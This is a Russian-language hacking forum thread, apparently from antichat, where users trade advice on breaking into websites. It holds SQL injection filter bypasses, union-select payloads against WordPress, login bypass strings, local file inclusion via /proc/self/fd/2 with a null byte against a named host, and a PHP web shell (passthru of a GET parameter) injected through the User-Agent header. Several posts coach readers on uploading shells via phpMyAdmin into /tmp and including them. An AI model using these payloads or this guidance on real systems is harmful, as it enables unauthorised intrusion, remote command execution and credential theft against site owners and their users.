serega393 ну думаю даже если ты ламо то читать все равно умеешь, тема поднималась сотни раз на форуме, а еще человечек Jokester специально для таких как ты создал отдельный топик в уязвимостях
Если какой нибудь способ обойти такую зашиту от sql injection: if(preg_match('/[^\w-]/',$_POST['id'])) die("wrong <b>id</b>"); далее по коду $_POST['id'] свободно вставляеться в гвери без каких нибудь дополнительных проверок, как я понимаю preg_match бинарнобезопасная функция и ей пофигу на нуль байты и etc.
Доступны логи, в чём проблема? http://samovar.teaspoon.ru/?what=../../../../../../../../../../../../proc/self/fd/2%00
PaCo Ну, можно попробовать придумать сценарий успешного обхода такой проверки. У меня есть некоторые мысли, но чтоб на практике реализовать это, нужно чтоб совпало слишком много всего. Например, в MySQL 4.0.x можно использовать не-ascii-символы в качестве альтернативы пробельным символам в SQL-запросе. PHP же успешно пропустит некоторые такие символы через эту регулярку (не уверен, что всегда, но у меня получалось такое). Т.е. если SQL-инъекция, например, в параметре WHERE опреатора SELECT, и в этом запросе выбирается одна колонка, то запрос: id=-1ђunionђselectђpasswordђfromђusers скорее всего обойдет эту регулярку и успешно выполнится. Теоретически (я не пробовал)...
в том то и вся лажа(я забыл упомянуть) что в запрос идет $_POST['id'] в двойных кавычках, фактически мне достаточно и того что бы просто нарушить как то запрос,вызвать ошибку(есть другая скуля но для ее экплотации необходим префикс и в ней еррор не выводится вообше) а в этой скули в случаи неудачи выводится весь запрос с префиксом,а про то что \w может пропустить не совсем печатные символы которые некоторые версии мускуля могут воспринять как пробел( в зависимости от того как был собран PCRE) я в курсе, но двойную ковычку там ничего не заменит, в попытках вызвать Illegal mix of collations я уже испробывал все возможные кодировки, вот запрос которые идет в базу: PHP: SELECT content_name FROM $base.".$prefix_."content_item WHERE $base.".$prefix_."content_item.content_name = \"" . $_POST['id'] . "\" LIMIT 1"; content_name: varchar(100) ,utf8_unicode_ci, по умолчанию null
странная SQL inj При запросе www.host.ru/new/?' вылазит ошибка Code: insert into statistic(resource,charset,user_agent,remote_addr,method,URI,DC) values (' - equipment','windows-1251','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)','IP','GET','/new/?'',NOW())<br>: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''/new/?'',NOW())' at line 1 В дальнейшем на +order+by+10000-- +order+by+10000/* '+order+by+10000-- ?-1+order+by+10000-- просто выводит страницу...+ на /**/ заменял....как обойти такую фильтрацию, или может нужно по другому запрос сделать? ПС. Все хедеры отправляю HttpREQ, т. к. браузер даже на /new/?' не реагирует.
Я понимаю что блинд. но запросы то +order+by+1000000-- и +order+by+1-- должны возвращать разные результаты...или нужно использовать подзапросы?
для начало почитай здесь - http://www.phpclub.ru/mysql/doc/insert.html потом неспеша сюда переходи- http://forum.antichat.ru/thread119047.html вопросы должны отпасть.
Помогите разобратся вот с этим. http://forum.antichat.ru/threadnav49775-2-10.html как понять эту строчьку ? User-Agent: <?php passthru($_GET['cmd']) ?> C помощью чего её передать? Ясно что post запросом но при помощи чего ??
Этой коммандой ты можешь исполнять системные комманды, используя параметр $_GET['cmd'], т.е. http://site.com/script.php?cmd=help. Передать с помощью программы, отсылающей сокеты, н.п. InetCrack.
При входе в панэль администратирования задаю зачение: login:' Pass:' в ответ: Code: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1 ' or 1=1/* возврощает ответ: Неверный пароль! В принципе подобра что есть 4 колонки но скуля блайнд. Что можно придумать с авторизацией? PS :jokester c заливкой через ../../proc/self/fd/2%00 почемуто не канает(.
пытаюсь заюзать багу в wordpress 2.3.1 http://site.com/bloggi/?feed=rss2&p=11/**/union/**/select/**/1,2/**/+--+ в ответ ошибка че делать?
смотри на запрос: SELECT wp_comments.* FROM wp_comments WHERE comment_post_ID = AND comment_approved = '1' ORDER BY comment_date_gmt DESC LIMIT 10 из него же видно что comment_post_ID = идет сравнения но ничего не вставляеться в запрос т.к. твой данные не прошли фильтр.
Подскажите есть ли уязвимость в этом скрипте подгрузки? Если да, то как можно использовать для PHP-inj PHP: if (!IsSet($t)&!IsSet($f)) { $f="main"; $filename=$f . ".php"; } else { if (IsSet($t)&!IsSet($f)) { $filename=$t . "/index.php"; } if (IsSet($t)&IsSet($f)) { $filename= $t . "/" . $f . ".php"; } if (!IsSet($t)&IsSet($f)) { $filename=$f . ".php"; } } if (file_exists("$filename")) { include("$filename"); } else { echo " <div class=\"alert\"> Ошибка 404, Страница не найдена. </div>"; }
Есть phpmyadmin и юзер с полными правами. Пытаюсь залить шелл в разные директории пишет:"Can't create a file...", но успешно создает при попытке залить в /tmp/. Что можно сделать в этой ситуации?
2 Byrger [RFI] заливаешь на фтп шел с именем index.php или шелл с любым именем, но без расширения [LFI] 2 Shaitan-Devil можешь посмотреть сайты по реверс айпи на присутствие локального инклуда, и потом инклуднуть записанный в /tmp шелл